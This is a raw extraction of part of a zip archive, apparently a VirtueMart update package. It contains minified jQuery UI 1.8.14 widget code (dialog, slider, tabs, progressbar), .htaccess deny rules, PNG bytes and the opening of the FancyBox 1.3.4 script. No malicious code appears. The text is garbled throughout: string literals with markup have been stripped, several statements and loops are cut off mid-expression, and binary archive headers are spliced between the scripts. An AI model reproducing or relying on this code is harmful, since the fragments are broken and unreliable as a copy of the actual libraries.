this.options,i,b,f=this.uiDialog.is(":visible");this.element.show().css({width:"auto",minHeight:0,height:0});if(g.minWidth>g.width)g.width=g.minWidth;i=this.uiDialog.css({height:"auto",width:g.width}).height();b=Math.max(0,g.minHeight-i);if(g.height==="auto")if(a.support.minHeight)this.element.css({minHeight:b,height:"auto"});else{this.uiDialog.show();g=this.element.css("height","auto").height();f||this.uiDialog.hide();this.element.height(Math.max(g,b))}else this.element.height(Math.max(g.height- i,0));this.uiDialog.is(":data(resizable)")&&this.uiDialog.resizable("option","minHeight",this._minHeight())}});a.extend(a.ui.dialog,{version:"1.8.14",uuid:0,maxZ:0,getTitleId:function(g){g=g.attr("id");if(!g){this.uuid+=1;g=this.uuid}return"ui-dialog-title-"+g},overlay:function(g){this.$el=a.ui.dialog.overlay.create(g)}});a.extend(a.ui.dialog.overlay,{instances:[],oldInstances:[],maxZ:0,events:a.map("focus,mousedown,mouseup,keydown,keypress,click".split(","),function(g){return g+".dialog-overlay"}).join(" "), create:function(g){if(this.instances.length===0){setTimeout(function(){a.ui.dialog.overlay.instances.length&&a(document).bind(a.ui.dialog.overlay.events,function(b){if(a(b.target).zIndex()").addClass("ui-widget-overlay")).appendTo(document.body).css({width:this.width(), height:this.height()});a.fn.bgiframe&&i.bgiframe();this.instances.push(i);return i},destroy:function(g){var i=a.inArray(g,this.instances);i!=-1&&this.oldInstances.push(this.instances.splice(i,1)[0]);this.instances.length===0&&a([document,window]).unbind(".dialog-overlay");g.remove();var b=0;a.each(this.instances,function(){b=Math.max(b,this.css("z-index"))});this.maxZ=b},height:function(){var g,i;if(a.browser.msie&&a.browser.version<7){g=Math.max(document.documentElement.scrollHeight,document.body.scrollHeight); i=Math.max(document.documentElement.offsetHeight,document.body.offsetHeight);return g0?g.left-b:Math.max(g.left-i.collisionPosition.left,g.left)},top:function(g,i){var b=a(window);b=i.collisionPosition.top+i.collisionHeight-b.height()-b.scrollTop();g.top=b>0?g.top-b:Math.max(g.top-i.collisionPosition.top,g.top)}},flip:{left:function(g,i){if(i.at[0]!=="center"){var b=a(window);b=i.collisionPosition.left+i.collisionWidth-b.width()-b.scrollLeft();var f=i.my[0]==="left"?-i.elemWidth:i.my[0]==="right"?i.elemWidth:0,j=i.at[0]==="left"?i.targetWidth:-i.targetWidth,l=-2*i.offset[0];g.left+= i.collisionPosition.left<0?f+j+l:b>0?f+j+l:0}},top:function(g,i){if(i.at[1]!=="center"){var b=a(window);b=i.collisionPosition.top+i.collisionHeight-b.height()-b.scrollTop();var f=i.my[1]==="top"?-i.elemHeight:i.my[1]==="bottom"?i.elemHeight:0,j=i.at[1]==="top"?i.targetHeight:-i.targetHeight,l=-2*i.offset[1];g.top+=i.collisionPosition.top<0?f+j+l:b>0?f+j+l:0}}}};if(!a.offset.setOffset){a.offset.setOffset=function(g,i){if(/static/.test(a.curCSS(g,"position")))g.style.position="relative";var b=a(g), f=b.offset(),j=parseInt(a.curCSS(g,"top",true),10)||0,l=parseInt(a.curCSS(g,"left",true),10)||0;f={top:i.top-f.top+j,left:i.left-f.left+l};"using"in i?i.using.call(g,f):b.css(f)};a.fn.offset=function(g){var i=this[0];if(!i||!i.ownerDocument)return null;if(g)return this.each(function(){a.offset.setOffset(this,g)});return h.call(this)}}})(jQuery); (function(a,d){a.widget("ui.progressbar",{options:{value:0,max:100},min:0,_create:function(){this.element.addClass("ui-progressbar ui-widget ui-widget-content ui-corner-all").attr({role:"progressbar","aria-valuemin":this.min,"aria-valuemax":this.options.max,"aria-valuenow":this._value()});this.valueDiv=a("
      ").appendTo(this.element);this.oldValue=this._value();this._refreshValue()},destroy:function(){this.element.removeClass("ui-progressbar ui-widget ui-widget-content ui-corner-all").removeAttr("role").removeAttr("aria-valuemin").removeAttr("aria-valuemax").removeAttr("aria-valuenow"); this.valueDiv.remove();a.Widget.prototype.destroy.apply(this,arguments)},value:function(c){if(c===d)return this._value();this._setOption("value",c);return this},_setOption:function(c,e){if(c==="value"){this.options.value=e;this._refreshValue();this._value()===this.options.max&&this._trigger("complete")}a.Widget.prototype._setOption.apply(this,arguments)},_value:function(){var c=this.options.value;if(typeof c!=="number")c=0;return Math.min(this.options.max,Math.max(this.min,c))},_percentage:function(){return 100* this._value()/this.options.max},_refreshValue:function(){var c=this.value(),e=this._percentage();if(this.oldValue!==c){this.oldValue=c;this._trigger("change")}this.valueDiv.toggle(c>this.min).toggleClass("ui-corner-right",c===this.options.max).width(e.toFixed(0)+"%");this.element.attr("aria-valuenow",c)}});a.extend(a.ui.progressbar,{version:"1.8.14"})})(jQuery); (function(a){a.widget("ui.slider",a.ui.mouse,{widgetEventPrefix:"slide",options:{animate:false,distance:0,max:100,min:0,orientation:"horizontal",range:false,step:1,value:0,values:null},_create:function(){var d=this,c=this.options,e=this.element.find(".ui-slider-handle").addClass("ui-state-default ui-corner-all"),h=c.values&&c.values.length||1,g=[];this._mouseSliding=this._keySliding=false;this._animateOff=true;this._handleIndex=null;this._detectOrientation();this._mouseInit();this.element.addClass("ui-slider ui-slider-"+ this.orientation+" ui-widget ui-widget-content ui-corner-all"+(c.disabled?" ui-slider-disabled ui-disabled":""));this.range=a([]);if(c.range){if(c.range===true){if(!c.values)c.values=[this._valueMin(),this._valueMin()];if(c.values.length&&c.values.length!==2)c.values=[c.values[0],c.values[0]]}this.range=a("
      ").appendTo(this.element).addClass("ui-slider-range ui-widget-header"+(c.range==="min"||c.range==="max"?" ui-slider-range-"+c.range:""))}for(var i=e.length;i"); this.handles=e.add(a(g.join("")).appendTo(d.element));this.handle=this.handles.eq(0);this.handles.add(this.range).filter("a").click(function(b){b.preventDefault()}).hover(function(){c.disabled||a(this).addClass("ui-state-hover")},function(){a(this).removeClass("ui-state-hover")}).focus(function(){if(c.disabled)a(this).blur();else{a(".ui-slider .ui-state-focus").removeClass("ui-state-focus");a(this).addClass("ui-state-focus")}}).blur(function(){a(this).removeClass("ui-state-focus")});this.handles.each(function(b){a(this).data("index.ui-slider-handle", b)});this.handles.keydown(function(b){var f=true,j=a(this).data("index.ui-slider-handle"),l,o,n;if(!d.options.disabled){switch(b.keyCode){case a.ui.keyCode.HOME:case a.ui.keyCode.END:case a.ui.keyCode.PAGE_UP:case a.ui.keyCode.PAGE_DOWN:case a.ui.keyCode.UP:case a.ui.keyCode.RIGHT:case a.ui.keyCode.DOWN:case a.ui.keyCode.LEFT:f=false;if(!d._keySliding){d._keySliding=true;a(this).addClass("ui-state-active");l=d._start(b,j);if(l===false)return}break}n=d.options.step;l=d.options.values&&d.options.values.length? (o=d.values(j)):(o=d.value());switch(b.keyCode){case a.ui.keyCode.HOME:o=d._valueMin();break;case a.ui.keyCode.END:o=d._valueMax();break;case a.ui.keyCode.PAGE_UP:o=d._trimAlignValue(l+(d._valueMax()-d._valueMin())/5);break;case a.ui.keyCode.PAGE_DOWN:o=d._trimAlignValue(l-(d._valueMax()-d._valueMin())/5);break;case a.ui.keyCode.UP:case a.ui.keyCode.RIGHT:if(l===d._valueMax())return;o=d._trimAlignValue(l+n);break;case a.ui.keyCode.DOWN:case a.ui.keyCode.LEFT:if(l===d._valueMin())return;o=d._trimAlignValue(l- n);break}d._slide(b,j,o);return f}}).keyup(function(b){var f=a(this).data("index.ui-slider-handle");if(d._keySliding){d._keySliding=false;d._stop(b,f);d._change(b,f);a(this).removeClass("ui-state-active")}});this._refreshValue();this._animateOff=false},destroy:function(){this.handles.remove();this.range.remove();this.element.removeClass("ui-slider ui-slider-horizontal ui-slider-vertical ui-slider-disabled ui-widget ui-widget-content ui-corner-all").removeData("slider").unbind(".slider");this._mouseDestroy(); return this},_mouseCapture:function(d){var c=this.options,e,h,g,i,b;if(c.disabled)return false;this.elementSize={width:this.element.outerWidth(),height:this.element.outerHeight()};this.elementOffset=this.element.offset();e=this._normValueFromMouse({x:d.pageX,y:d.pageY});h=this._valueMax()-this._valueMin()+1;i=this;this.handles.each(function(f){var j=Math.abs(e-i.values(f));if(h>j){h=j;g=a(this);b=f}});if(c.range===true&&this.values(1)===c.min){b+=1;g=a(this.handles[b])}if(this._start(d,b)===false)return false; this._mouseSliding=true;i._handleIndex=b;g.addClass("ui-state-active").focus();c=g.offset();this._clickOffset=!a(d.target).parents().andSelf().is(".ui-slider-handle")?{left:0,top:0}:{left:d.pageX-c.left-g.width()/2,top:d.pageY-c.top-g.height()/2-(parseInt(g.css("borderTopWidth"),10)||0)-(parseInt(g.css("borderBottomWidth"),10)||0)+(parseInt(g.css("marginTop"),10)||0)};this.handles.hasClass("ui-state-hover")||this._slide(d,b,e);return this._animateOff=true},_mouseStart:function(){return true},_mouseDrag:function(d){var c= this._normValueFromMouse({x:d.pageX,y:d.pageY});this._slide(d,this._handleIndex,c);return false},_mouseStop:function(d){this.handles.removeClass("ui-state-active");this._mouseSliding=false;this._stop(d,this._handleIndex);this._change(d,this._handleIndex);this._clickOffset=this._handleIndex=null;return this._animateOff=false},_detectOrientation:function(){this.orientation=this.options.orientation==="vertical"?"vertical":"horizontal"},_normValueFromMouse:function(d){var c;if(this.orientation==="horizontal"){c= this.elementSize.width;d=d.x-this.elementOffset.left-(this._clickOffset?this._clickOffset.left:0)}else{c=this.elementSize.height;d=d.y-this.elementOffset.top-(this._clickOffset?this._clickOffset.top:0)}c=d/c;if(c>1)c=1;if(c<0)c=0;if(this.orientation==="vertical")c=1-c;d=this._valueMax()-this._valueMin();return this._trimAlignValue(this._valueMin()+c*d)},_start:function(d,c){var e={handle:this.handles[c],value:this.value()};if(this.options.values&&this.options.values.length){e.value=this.values(c); e.values=this.values()}return this._trigger("start",d,e)},_slide:function(d,c,e){var h;if(this.options.values&&this.options.values.length){h=this.values(c?0:1);if(this.options.values.length===2&&this.options.range===true&&(c===0&&e>h||c===1&&e1){this.options.values[d]=this._trimAlignValue(c);this._refreshValue();this._change(null,d)}else if(arguments.length)if(a.isArray(arguments[0])){e=this.options.values;h=arguments[0];for(g=0;g=this._valueMax())return this._valueMax();var c=this.options.step>0?this.options.step:1,e=(d-this._valueMin())%c;alignValue=d-e;if(Math.abs(e)*2>=c)alignValue+=e>0?c:-c;return parseFloat(alignValue.toFixed(5))},_valueMin:function(){return this.options.min},_valueMax:function(){return this.options.max}, _refreshValue:function(){var d=this.options.range,c=this.options,e=this,h=!this._animateOff?c.animate:false,g,i={},b,f,j,l;if(this.options.values&&this.options.values.length)this.handles.each(function(o){g=(e.values(o)-e._valueMin())/(e._valueMax()-e._valueMin())*100;i[e.orientation==="horizontal"?"left":"bottom"]=g+"%";a(this).stop(1,1)[h?"animate":"css"](i,c.animate);if(e.options.range===true)if(e.orientation==="horizontal"){if(o===0)e.range.stop(1,1)[h?"animate":"css"]({left:g+"%"},c.animate); if(o===1)e.range[h?"animate":"css"]({width:g-b+"%"},{queue:false,duration:c.animate})}else{if(o===0)e.range.stop(1,1)[h?"animate":"css"]({bottom:g+"%"},c.animate);if(o===1)e.range[h?"animate":"css"]({height:g-b+"%"},{queue:false,duration:c.animate})}b=g});else{f=this.value();j=this._valueMin();l=this._valueMax();g=l!==j?(f-j)/(l-j)*100:0;i[e.orientation==="horizontal"?"left":"bottom"]=g+"%";this.handle.stop(1,1)[h?"animate":"css"](i,c.animate);if(d==="min"&&this.orientation==="horizontal")this.range.stop(1, 1)[h?"animate":"css"]({width:g+"%"},c.animate);if(d==="max"&&this.orientation==="horizontal")this.range[h?"animate":"css"]({width:100-g+"%"},{queue:false,duration:c.animate});if(d==="min"&&this.orientation==="vertical")this.range.stop(1,1)[h?"animate":"css"]({height:g+"%"},c.animate);if(d==="max"&&this.orientation==="vertical")this.range[h?"animate":"css"]({height:100-g+"%"},{queue:false,duration:c.animate})}}});a.extend(a.ui.slider,{version:"1.8.14"})})(jQuery); (function(a,d){function c(){return++h}function e(){return++g}var h=0,g=0;a.widget("ui.tabs",{options:{add:null,ajaxOptions:null,cache:false,cookie:null,collapsible:false,disable:null,disabled:[],enable:null,event:"click",fx:null,idPrefix:"ui-tabs-",load:null,panelTemplate:"
      ",remove:null,select:null,show:null,spinner:"Loading…",tabTemplate:"
    • #{label}
    • "},_create:function(){this._tabify(true)},_setOption:function(i,b){if(i=="selected")this.options.collapsible&& b==this.options.selected||this.select(b);else{this.options[i]=b;this._tabify()}},_tabId:function(i){return i.title&&i.title.replace(/\s/g,"_").replace(/[^\w\u00c0-\uFFFF-]/g,"")||this.options.idPrefix+c()},_sanitizeSelector:function(i){return i.replace(/:/g,"\\:")},_cookie:function(){var i=this.cookie||(this.cookie=this.options.cookie.name||"ui-tabs-"+e());return a.cookie.apply(null,[i].concat(a.makeArray(arguments)))},_ui:function(i,b){return{tab:i,panel:b,index:this.anchors.index(i)}},_cleanup:function(){this.lis.filter(".ui-state-processing").removeClass("ui-state-processing").find("span:data(label.tabs)").each(function(){var i= a(this);i.html(i.data("label.tabs")).removeData("label.tabs")})},_tabify:function(i){function b(r,u){r.css("display","");!a.support.opacity&&u.opacity&&r[0].style.removeAttribute("filter")}var f=this,j=this.options,l=/^#.+/;this.list=this.element.find("ol,ul").eq(0);this.lis=a(" > li:has(a[href])",this.list);this.anchors=this.lis.map(function(){return a("a",this)[0]});this.panels=a([]);this.anchors.each(function(r,u){var v=a(u).attr("href"),w=v.split("#")[0],x;if(w&&(w===location.toString().split("#")[0]|| (x=a("base")[0])&&w===x.href)){v=u.hash;u.href=v}if(l.test(v))f.panels=f.panels.add(f.element.find(f._sanitizeSelector(v)));else if(v&&v!=="#"){a.data(u,"href.tabs",v);a.data(u,"load.tabs",v.replace(/#.*$/,""));v=f._tabId(u);u.href="#"+v;u=f.element.find("#"+v);if(!u.length){u=a(j.panelTemplate).attr("id",v).addClass("ui-tabs-panel ui-widget-content ui-corner-bottom").insertAfter(f.panels[r-1]||f.list);u.data("destroy.tabs",true)}f.panels=f.panels.add(u)}else j.disabled.push(r)});if(i){this.element.addClass("ui-tabs ui-widget ui-widget-content ui-corner-all"); this.list.addClass("ui-tabs-nav ui-helper-reset ui-helper-clearfix ui-widget-header ui-corner-all");this.lis.addClass("ui-state-default ui-corner-top");this.panels.addClass("ui-tabs-panel ui-widget-content ui-corner-bottom");if(j.selected===d){location.hash&&this.anchors.each(function(r,u){if(u.hash==location.hash){j.selected=r;return false}});if(typeof j.selected!=="number"&&j.cookie)j.selected=parseInt(f._cookie(),10);if(typeof j.selected!=="number"&&this.lis.filter(".ui-tabs-selected").length)j.selected= this.lis.index(this.lis.filter(".ui-tabs-selected"));j.selected=j.selected||(this.lis.length?0:-1)}else if(j.selected===null)j.selected=-1;j.selected=j.selected>=0&&this.anchors[j.selected]||j.selected<0?j.selected:0;j.disabled=a.unique(j.disabled.concat(a.map(this.lis.filter(".ui-state-disabled"),function(r){return f.lis.index(r)}))).sort();a.inArray(j.selected,j.disabled)!=-1&&j.disabled.splice(a.inArray(j.selected,j.disabled),1);this.panels.addClass("ui-tabs-hide");this.lis.removeClass("ui-tabs-selected ui-state-active"); if(j.selected>=0&&this.anchors.length){f.element.find(f._sanitizeSelector(f.anchors[j.selected].hash)).removeClass("ui-tabs-hide");this.lis.eq(j.selected).addClass("ui-tabs-selected ui-state-active");f.element.queue("tabs",function(){f._trigger("show",null,f._ui(f.anchors[j.selected],f.element.find(f._sanitizeSelector(f.anchors[j.selected].hash))[0]))});this.load(j.selected)}a(window).bind("unload",function(){f.lis.add(f.anchors).unbind(".tabs");f.lis=f.anchors=f.panels=null})}else j.selected=this.lis.index(this.lis.filter(".ui-tabs-selected")); this.element[j.collapsible?"addClass":"removeClass"]("ui-tabs-collapsible");j.cookie&&this._cookie(j.selected,j.cookie);i=0;for(var o;o=this.lis[i];i++)a(o)[a.inArray(i,j.disabled)!=-1&&!a(o).hasClass("ui-tabs-selected")?"addClass":"removeClass"]("ui-state-disabled");j.cache===false&&this.anchors.removeData("cache.tabs");this.lis.add(this.anchors).unbind(".tabs");if(j.event!=="mouseover"){var n=function(r,u){u.is(":not(.ui-state-disabled)")&&u.addClass("ui-state-"+r)},k=function(r,u){u.removeClass("ui-state-"+ r)};this.lis.bind("mouseover.tabs",function(){n("hover",a(this))});this.lis.bind("mouseout.tabs",function(){k("hover",a(this))});this.anchors.bind("focus.tabs",function(){n("focus",a(this).closest("li"))});this.anchors.bind("blur.tabs",function(){k("focus",a(this).closest("li"))})}var m,p;if(j.fx)if(a.isArray(j.fx)){m=j.fx[0];p=j.fx[1]}else m=p=j.fx;var q=p?function(r,u){a(r).closest("li").addClass("ui-tabs-selected ui-state-active");u.hide().removeClass("ui-tabs-hide").animate(p,p.duration||"normal", function(){b(u,p);f._trigger("show",null,f._ui(r,u[0]))})}:function(r,u){a(r).closest("li").addClass("ui-tabs-selected ui-state-active");u.removeClass("ui-tabs-hide");f._trigger("show",null,f._ui(r,u[0]))},s=m?function(r,u){u.animate(m,m.duration||"normal",function(){f.lis.removeClass("ui-tabs-selected ui-state-active");u.addClass("ui-tabs-hide");b(u,m);f.element.dequeue("tabs")})}:function(r,u){f.lis.removeClass("ui-tabs-selected ui-state-active");u.addClass("ui-tabs-hide");f.element.dequeue("tabs")}; this.anchors.bind(j.event+".tabs",function(){var r=this,u=a(r).closest("li"),v=f.panels.filter(":not(.ui-tabs-hide)"),w=f.element.find(f._sanitizeSelector(r.hash));if(u.hasClass("ui-tabs-selected")&&!j.collapsible||u.hasClass("ui-state-disabled")||u.hasClass("ui-state-processing")||f.panels.filter(":animated").length||f._trigger("select",null,f._ui(this,w[0]))===false){this.blur();return false}j.selected=f.anchors.index(this);f.abort();if(j.collapsible)if(u.hasClass("ui-tabs-selected")){j.selected= -1;j.cookie&&f._cookie(j.selected,j.cookie);f.element.queue("tabs",function(){s(r,v)}).dequeue("tabs");this.blur();return false}else if(!v.length){j.cookie&&f._cookie(j.selected,j.cookie);f.element.queue("tabs",function(){q(r,w)});f.load(f.anchors.index(this));this.blur();return false}j.cookie&&f._cookie(j.selected,j.cookie);if(w.length){v.length&&f.element.queue("tabs",function(){s(r,v)});f.element.queue("tabs",function(){q(r,w)});f.load(f.anchors.index(this))}else throw"jQuery UI Tabs: Mismatching fragment identifier."; a.browser.msie&&this.blur()});this.anchors.bind("click.tabs",function(){return false})},_getIndex:function(i){if(typeof i=="string")i=this.anchors.index(this.anchors.filter("[href$="+i+"]"));return i},destroy:function(){var i=this.options;this.abort();this.element.unbind(".tabs").removeClass("ui-tabs ui-widget ui-widget-content ui-corner-all ui-tabs-collapsible").removeData("tabs");this.list.removeClass("ui-tabs-nav ui-helper-reset ui-helper-clearfix ui-widget-header ui-corner-all");this.anchors.each(function(){var b= a.data(this,"href.tabs");if(b)this.href=b;var f=a(this).unbind(".tabs");a.each(["href","load","cache"],function(j,l){f.removeData(l+".tabs")})});this.lis.unbind(".tabs").add(this.panels).each(function(){a.data(this,"destroy.tabs")?a(this).remove():a(this).removeClass("ui-state-default ui-corner-top ui-tabs-selected ui-state-active ui-state-hover ui-state-focus ui-state-disabled ui-tabs-panel ui-widget-content ui-corner-bottom ui-tabs-hide")});i.cookie&&this._cookie(null,i.cookie);return this},add:function(i, b,f){if(f===d)f=this.anchors.length;var j=this,l=this.options;b=a(l.tabTemplate.replace(/#\{href\}/g,i).replace(/#\{label\}/g,b));i=!i.indexOf("#")?i.replace("#",""):this._tabId(a("a",b)[0]);b.addClass("ui-state-default ui-corner-top").data("destroy.tabs",true);var o=j.element.find("#"+i);o.length||(o=a(l.panelTemplate).attr("id",i).data("destroy.tabs",true));o.addClass("ui-tabs-panel ui-widget-content ui-corner-bottom ui-tabs-hide");if(f>=this.lis.length){b.appendTo(this.list);o.appendTo(this.list[0].parentNode)}else{b.insertBefore(this.lis[f]); o.insertBefore(this.panels[f])}l.disabled=a.map(l.disabled,function(n){return n>=f?++n:n});this._tabify();if(this.anchors.length==1){l.selected=0;b.addClass("ui-tabs-selected ui-state-active");o.removeClass("ui-tabs-hide");this.element.queue("tabs",function(){j._trigger("show",null,j._ui(j.anchors[0],j.panels[0]))});this.load(0)}this._trigger("add",null,this._ui(this.anchors[f],this.panels[f]));return this},remove:function(i){i=this._getIndex(i);var b=this.options,f=this.lis.eq(i).remove(),j=this.panels.eq(i).remove(); if(f.hasClass("ui-tabs-selected")&&this.anchors.length>1)this.select(i+(i+1=i?--l:l});this._tabify();this._trigger("remove",null,this._ui(f.find("a")[0],j[0]));return this},enable:function(i){i=this._getIndex(i);var b=this.options;if(a.inArray(i,b.disabled)!=-1){this.lis.eq(i).removeClass("ui-state-disabled");b.disabled=a.grep(b.disabled,function(f){return f!=i});this._trigger("enable",null, this._ui(this.anchors[i],this.panels[i]));return this}},disable:function(i){i=this._getIndex(i);var b=this.options;if(i!=b.selected){this.lis.eq(i).addClass("ui-state-disabled");b.disabled.push(i);b.disabled.sort();this._trigger("disable",null,this._ui(this.anchors[i],this.panels[i]))}return this},select:function(i){i=this._getIndex(i);if(i==-1)if(this.options.collapsible&&this.options.selected!=-1)i=this.options.selected;else return this;this.anchors.eq(i).trigger(this.options.event+".tabs");return this}, load:function(i){i=this._getIndex(i);var b=this,f=this.options,j=this.anchors.eq(i)[0],l=a.data(j,"load.tabs");this.abort();if(!l||this.element.queue("tabs").length!==0&&a.data(j,"cache.tabs"))this.element.dequeue("tabs");else{this.lis.eq(i).addClass("ui-state-processing");if(f.spinner){var o=a("span",j);o.data("label.tabs",o.html()).html(f.spinner)}this.xhr=a.ajax(a.extend({},f.ajaxOptions,{url:l,success:function(n,k){b.element.find(b._sanitizeSelector(j.hash)).html(n);b._cleanup();f.cache&&a.data(j, "cache.tabs",true);b._trigger("load",null,b._ui(b.anchors[i],b.panels[i]));try{f.ajaxOptions.success(n,k)}catch(m){}},error:function(n,k){b._cleanup();b._trigger("load",null,b._ui(b.anchors[i],b.panels[i]));try{f.ajaxOptions.error(n,k,i,j)}catch(m){}}}));b.element.dequeue("tabs");return this}},abort:function(){this.element.queue([]);this.panels.stop(false,true);this.element.queue("tabs",this.element.queue("tabs").splice(-2,2));if(this.xhr){this.xhr.abort();delete this.xhr}this._cleanup();return this}, url:function(i,b){this.anchors.eq(i).removeData("cache.tabs").data("load.tabs",b);return this},length:function(){return this.anchors.length}});a.extend(a.ui.tabs,{version:"1.8.14"});a.extend(a.ui.tabs.prototype,{rotation:null,rotate:function(i,b){var f=this,j=this.options,l=f._rotate||(f._rotate=function(o){clearTimeout(f.rotation);f.rotation=setTimeout(function(){var n=j.selected;f.select(++n\)Jcom_virtuemart_update/components/com_virtuemart/assets/js/images/.htaccessnuW+A Order allow,deny Deny from all PKtl>\KOcom_virtuemart_update/components/com_virtuemart/assets/js/images/vtip_arrow.pngnuW+APNG  IHDR }gAMA7tEXtSoftwareAdobe ImageReadyqe<IDATxb\v CxD,b&" (/̵Hb TВe`cfj H\CAh$'БQ f"`7@`e*ӈ/(5H1O=g(Qc05LHb & (3*J2t__IENDB`PKtl>\Kcom_virtuemart_update/components/com_virtuemart/assets/js/images/index.htmlnuW+APKtl>\)Ccom_virtuemart_update/components/com_virtuemart/assets/js/.htaccessnuW+A Order allow,deny Deny from all PKtl>\)Lcom_virtuemart_update/components/com_virtuemart/assets/js/fancybox/.htaccessnuW+A Order allow,deny Deny from all PKtl>\+;==`com_virtuemart_update/components/com_virtuemart/assets/js/fancybox/jquery.fancybox-1.3.4.pack.jsnuW+A/* * FancyBox - jQuery Plugin * Simple and fancy lightbox alternative * * Examples and documentation at: http://fancybox.net * * Copyright (c) 2008 - 2010 Janis Skarnelis * That said, it is hardly a one-person project. Many people have submitted bugs, code, and offered their advice freely. Their support is greatly appreciated. * * Version: 1.3.4 (11/11/2010) * Requires: jQuery v1.3+ * * Dual licensed under the MIT and GPL licenses: * http://www.opensource.org/licenses/mit-license.php * http://www.gnu.org/licenses/gpl.html */ ;(function(b){var m,t,u,f,D,j,E,n,z,A,q=0,e={},o=[],p=0,d={},l=[],G=null,v=new Image,J=/\.(jpg|gif|png|bmp|jpeg)(.*)?$/i,W=/[^\.]\.(swf)\s*$/i,K,L=1,y=0,s="",r,i,h=false,B=b.extend(b("
      ")[0],{prop:0}),M=b.browser.msie&&b.browser.version<7&&!window.XMLHttpRequest,N=function(){t.hide();v.onerror=v.onload=null;G&&G.abort();m.empty()},O=function(){if(false===e.onError(o,q,e)){t.hide();h=false}else{e.titleShow=false;e.width="auto";e.height="auto";m.html('

      The requested content cannot be loaded.
      Please try again later.

      '); F()}},I=function(){var a=o[q],c,g,k,C,P,w;N();e=b.extend({},b.fn.fancybox.defaults,typeof b(a).data("fancybox")=="undefined"?e:b(a).data("fancybox"));w=e.onStart(o,q,e);if(w===false)h=false;else{if(typeof w=="object")e=b.extend(e,w);k=e.title||(a.nodeName?b(a).attr("title"):a.title)||"";if(a.nodeName&&!e.orig)e.orig=b(a).children("img:first").length?b(a).children("img:first"):b(a);if(k===""&&e.orig&&e.titleFromAlt)k=e.orig.attr("alt");c=e.href||(a.nodeName?b(a).attr("href"):a.href)||null;if(/^(?:javascript)/i.test(c)|| c=="#")c=null;if(e.type){g=e.type;if(!c)c=e.content}else if(e.content)g="html";else if(c)g=c.match(J)?"image":c.match(W)?"swf":b(a).hasClass("iframe")?"iframe":c.indexOf("#")===0?"inline":"ajax";if(g){if(g=="inline"){a=c.substr(c.indexOf("#"));g=b(a).length>0?"inline":"ajax"}e.type=g;e.href=c;e.title=k;if(e.autoDimensions)if(e.type=="html"||e.type=="inline"||e.type=="ajax"){e.width="auto";e.height="auto"}else e.autoDimensions=false;if(e.modal){e.overlayShow=true;e.hideOnOverlayClick=false;e.hideOnContentClick= false;e.enableEscapeButton=false;e.showCloseButton=false}e.padding=parseInt(e.padding,10);e.margin=parseInt(e.margin,10);m.css("padding",e.padding+e.margin);b(".fancybox-inline-tmp").unbind("fancybox-cancel").bind("fancybox-change",function(){b(this).replaceWith(j.children())});switch(g){case "html":m.html(e.content);F();break;case "inline":if(b(a).parent().is("#fancybox-content")===true){h=false;break}b('
      ').hide().insertBefore(b(a)).bind("fancybox-cleanup",function(){b(this).replaceWith(j.children())}).bind("fancybox-cancel", function(){b(this).replaceWith(m.children())});b(a).appendTo(m);F();break;case "image":h=false;b.fancybox.showActivity();v=new Image;v.onerror=function(){O()};v.onload=function(){h=true;v.onerror=v.onload=null;e.width=v.width;e.height=v.height;b("").attr({id:"fancybox-img",src:v.src,alt:e.title}).appendTo(m);Q()};v.src=c;break;case "swf":e.scrolling="no";C='';P="";b.each(e.swf,function(x,H){C+='';P+=" "+x+'="'+H+'"'});C+='";m.html(C);F();break;case "ajax":h=false;b.fancybox.showActivity();e.ajax.win=e.ajax.success;G=b.ajax(b.extend({},e.ajax,{url:c,data:e.ajax.data||{},error:function(x){x.status>0&&O()},success:function(x,H,R){if((typeof R=="object"?R:G).status==200){if(typeof e.ajax.win== "function"){w=e.ajax.win(c,x,H,R);if(w===false){t.hide();return}else if(typeof w=="string"||typeof w=="object")x=w}m.html(x);F()}}}));break;case "iframe":Q()}}else O()}},F=function(){var a=e.width,c=e.height;a=a.toString().indexOf("%")>-1?parseInt((b(window).width()-e.margin*2)*parseFloat(a)/100,10)+"px":a=="auto"?"auto":a+"px";c=c.toString().indexOf("%")>-1?parseInt((b(window).height()-e.margin*2)*parseFloat(c)/100,10)+"px":c=="auto"?"auto":c+"px";m.wrapInner('
      ');e.width=m.width();e.height=m.height();Q()},Q=function(){var a,c;t.hide();if(f.is(":visible")&&false===d.onCleanup(l,p,d)){b.event.trigger("fancybox-cancel");h=false}else{h=true;b(j.add(u)).unbind();b(window).unbind("resize.fb scroll.fb");b(document).unbind("keydown.fb");f.is(":visible")&&d.titlePosition!=="outside"&&f.css("height",f.height());l=o;p=q;d=e;if(d.overlayShow){u.css({"background-color":d.overlayColor, opacity:d.overlayOpacity,cursor:d.hideOnOverlayClick?"pointer":"auto",height:b(document).height()});if(!u.is(":visible")){M&&b("select:not(#fancybox-tmp select)").filter(function(){return this.style.visibility!=="hidden"}).css({visibility:"hidden"}).one("fancybox-cleanup",function(){this.style.visibility="inherit"});u.show()}}else u.hide();i=X();s=d.title||"";y=0;n.empty().removeAttr("style").removeClass();if(d.titleShow!==false){if(b.isFunction(d.titleFormat))a=d.titleFormat(s,l,p,d);else a=s&&s.length? d.titlePosition=="float"?'
      '+s+'
      ':'
      '+s+"
      ":false;s=a;if(!(!s||s==="")){n.addClass("fancybox-title-"+d.titlePosition).html(s).appendTo("body").show();switch(d.titlePosition){case "inside":n.css({width:i.width-d.padding*2,marginLeft:d.padding,marginRight:d.padding}); y=n.outerHeight(true);n.appendTo(D);i.height+=y;break;case "over":n.css({marginLeft:d.padding,width:i.width-d.padding*2,bottom:d.padding}).appendTo(D);break;case "float":n.css("left",parseInt((n.width()-i.width-40)/2,10)*-1).appendTo(f);break;default:n.css({width:i.width-d.padding*2,paddingLeft:d.padding,paddingRight:d.padding}).appendTo(f)}}}n.hide();if(f.is(":visible")){b(E.add(z).add(A)).hide();a=f.position();r={top:a.top,left:a.left,width:f.width(),height:f.height()};c=r.width==i.width&&r.height== i.height;j.fadeTo(d.changeFade,0.3,function(){var g=function(){j.html(m.contents()).fadeTo(d.changeFade,1,S)};b.event.trigger("fancybox-change");j.empty().removeAttr("filter").css({"border-width":d.padding,width:i.width-d.padding*2,height:e.autoDimensions?"auto":i.height-y-d.padding*2});if(c)g();else{B.prop=0;b(B).animate({prop:1},{duration:d.changeSpeed,easing:d.easingChange,step:T,complete:g})}})}else{f.removeAttr("style");j.css("border-width",d.padding);if(d.transitionIn=="elastic"){r=V();j.html(m.contents()); 